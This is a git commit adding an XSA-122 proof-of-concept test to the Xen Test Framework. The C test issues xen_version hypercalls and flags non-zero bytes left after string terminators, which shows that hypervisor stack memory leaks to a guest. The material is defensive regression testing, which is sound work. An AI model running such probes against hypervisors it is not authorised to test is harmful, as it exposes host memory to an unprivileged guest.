From: Andrew Cooper Date: Fri, 15 Jan 2016 15:40:32 +0000 (+0000) Subject: XSA-122 Proof of Concept test X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=72442d4;p=people%2Froyger%2Fxen-test-framework.git XSA-122 Proof of Concept test Signed-off-by: Andrew Cooper --- diff --git a/docs/all-tests.dox b/docs/all-tests.dox index d3e02b3..891d164 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -22,6 +22,8 @@ Coveres XSA-106 and XSA-156. @section index-xsa XSA Proof-of-Concept tests +@subpage test-xsa-122 - Hypervisor stack leak via xen_version() hypercall. + @subpage test-xsa-167 - PV superpage sanity checks. diff --git a/tests/xsa-122/Makefile b/tests/xsa-122/Makefile new file mode 100644 index 0000000..5c01863 --- /dev/null +++ b/tests/xsa-122/Makefile @@ -0,0 +1,11 @@ +ROOT := $(abspath $(CURDIR)/../..) + +include $(ROOT)/build/common.mk + +NAME := xsa-122 +CATEGORY := xsa +TEST-ENVS := $(ALL_ENVIRONMENTS) + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-122/main.c b/tests/xsa-122/main.c new file mode 100644 index 0000000..2bd7677 --- /dev/null +++ b/tests/xsa-122/main.c @@ -0,0 +1,108 @@ +/** + * @file tests/xsa-122/main.c + * @ref test-xsa-122 + * + * @page test-xsa-122 XSA-122 + * + * Advisory: [XSA-122](http://xenbits.xen.org/xsa/advisory-122.html) + * + * Before XSA-122, Xen would fill a fixed size stack array with a + * NUL-terminated string, and copy the entire array back to guest space. This + * leaks hypervisor stack rubble to the guest. + * + * This PoC makes the affected hypercalls, and checks for non-zero bytes in + * the trailing space after the NUL terminator. + * + * The PoC is unable to distinguish between a fixed Xen, and zeroes happening + * to be leaked from the stack. In particular, it can incorrectly report + * success if it is the first vcpu to run on a "fresh" pcpu after host reboot. + * For added reliability, pin the PoC to a specific pcpu and run it twice. + * + * @sa tests/xsa-122/main.c + */ +#include + +/* + * Check a buffer of a specified size for non-NUL bytes following the string + * NUL terminator. + */ +static void check_buffer(const char *ref, const char *buf, size_t buf_sz) +{ + unsigned i; + size_t str_len = strnlen(buf, buf_sz); + + if ( str_len == buf_sz ) + return xtf_warning(" %s string not NUL terminated\n", ref); + + else if ( str_len == buf_sz - 1 ) + return; /* No trailing space after data. */ + + for ( i = str_len + 1; buf[i] == '\0' && i < buf_sz; ++i ) + ; /* No action. */ + + if ( i != buf_sz ) + xtf_failure(" '%s' has leaked stack at index %u\n", ref, i); +} + +void test_main(void) +{ + long rc; + + printk("XSA-122 PoC\n"); + + printk("XENVER_extraversion:\n"); + { + xen_extraversion_t extra = {}; + + rc = hypercall_xen_version(XENVER_extraversion, extra); + if ( rc < 0 ) + return xtf_failure("XENVER_extraversion error %ld\n", rc); + + printk(" Got '%s'\n", extra); + check_buffer("extraversion", extra, sizeof(extra)); + } + + printk("XENVER_compile_info:\n"); + { + xen_compile_info_t ci = {}; + + rc = hypercall_xen_version(XENVER_compile_info, &ci); + if ( rc < 0 ) + return xtf_failure("XENVER_compile_info error %ld\n", rc); + + printk(" Got '%s'\n" + " '%s'\n" + " '%s'\n" + " '%s'\n", + ci.compiler, ci.compile_by, ci.compile_domain, ci.compile_date); + + check_buffer("compiler", ci.compiler, sizeof(ci.compiler)); + check_buffer("compile_by", ci.compile_by, sizeof(ci.compile_by)); + check_buffer("compile_domain", ci.compile_domain, sizeof(ci.compile_domain)); + check_buffer("compile_date", ci.compile_date, sizeof(ci.compile_date)); + } + + printk("XENVER_changeset:\n"); + { + xen_changeset_info_t ci = {}; + + rc = hypercall_xen_version(XENVER_changeset, &ci); + if ( rc < 0 ) + return xtf_failure("XENVER_changeset error %ld\n", rc); + + printk(" Got '%s'\n", ci); + check_buffer("changeset_info", ci, sizeof(ci)); + } + + xtf_success(NULL); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */